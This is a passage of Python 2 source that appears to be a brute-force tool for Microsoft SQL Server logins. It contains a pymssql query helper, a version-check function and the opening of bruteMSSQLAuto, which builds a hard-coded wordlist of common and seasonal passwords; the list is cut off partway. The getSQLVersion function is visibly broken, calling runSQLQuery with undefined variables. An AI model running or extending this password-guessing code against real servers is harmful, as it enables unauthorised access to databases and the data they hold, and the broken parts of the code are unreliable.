row = cursor.fetchone()
tmpResultList.append(row)
#while row:
# tmpList=(row[0].split("\t"))
# for x in tmpList:
# x=x.strip()
# if len(x)>0:
# tmpResultList.append(x)
# row = cursor.fetchone()
conn.close()
return tmpResultList
'''
def getSQLVersion(db,conn):
sql_query='USE master; select @@version'
print sql_query
runSQLQuery(hostNo,user,password,query)
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
return results[0].values()
def runSQLQuery(hostNo,user,password,query):
tmpResultList=[]
try:
conn = pymssql.connect(hostNo, user, password, database="master")
cursor = conn.cursor()
cursor.execute(query)
row = cursor.fetchone()
while row:
if len(row)>0:
tmpResultList.append(row)
row = cursor.fetchone()
conn.close()
except pymssql.OperationalError:
pass
return tmpResultList
def bruteMSSQLAuto(hostNo,portNo):
wordList=[]
wordList.append("111111")
wordList.append("123456")
wordList.append("12345678")
wordList.append("1qaz2wsx")
wordList.append("2003")
wordList.append("2008")
wordList.append("95")
wordList.append("98")
wordList.append("Autumn2013")
wordList.append("Autumn2014")
wordList.append("Autumn2015")
wordList.append("Autumn2016")
wordList.append("Autumn2017")
wordList.append("P@55w0rd!")
wordList.append("P@55w0rd")
wordList.append("P@ssw0rd!")
wordList.append("P@ssw0rd")
wordList.append("P@ssword!")
wordList.append("PassSql12")
wordList.append("Password!")
wordList.append("Password1!")
wordList.append("Password1")
wordList.append("Password12")
wordList.append("Password2")
wordList.append("SQLSQLSQLSQL")
wordList.append("Spring2013")
wordList.append("Spring2014")
wordList.append("Spring2015")
wordList.append("Spring2016")
wordList.append("Spring2017")
wordList.append("SqlServer")
wordList.append("Sqlserver")
wordList.append("Summer2008")
wordList.append("Summer2009")
wordList.append("Summer2010")
wordList.append("Summer2011")
wordList.append("Summer2012")
wordList.append("Summer2013")
wordList.append("Summer2014")
wordList.append("Summer2015")
wordList.append("Summer2016")
wordList.append("Summer2017")
wordList.append("Welcome1212")
wordList.append("Welcome123")
wordList.append("Welcome1234")
wordList.append("Winter2008")
wordList.append("Winter2009")
wordList.append("Winter2010")
wordList.append("Winter2011")
wordList.append("Winter2012")
wordList.append("Winter2013")
wordList.append("Winter2014")
wordList.append("Winter2015")
wordList.append("Winter2016")
wordList.append("Winter2017")
wordList.append("abc")
wordList.append("abc123")
wordList.append("abcd123")
wordList.append("account")
wordList.append("admin")
wordList.append("adminadmin")
wordList.append("administator")
wordList.append("admins")
wordList.append("air")
wordList.append("alpine")
wordList.append("autumn2013")
wordList.append("autumn2014")
wordList.append("autumn2015")
wordList.append("autumn2016")
wordList.append("autumn2017")
wordList.append("bankbank")
wordList.append("baseball")
wordList.append("basketball")
wordList.append("bird")
wordList.append("burp")
wordList.append("change")
wordList.append("changelater")
wordList.append("changeme")
wordList.append("company!")
wordList.append("company")
wordList.append("company1!")
wordList.append("company1")
wordList.append("company123")
wordList.append("complex")
wordList.append("complex1")
wordList.append("complex2")
wordList.append("complex3")
wordList.append("complexpassword")
wordList.append("database")
wordList.append("default")
wordList.append("dev")
wordList.append("devdev")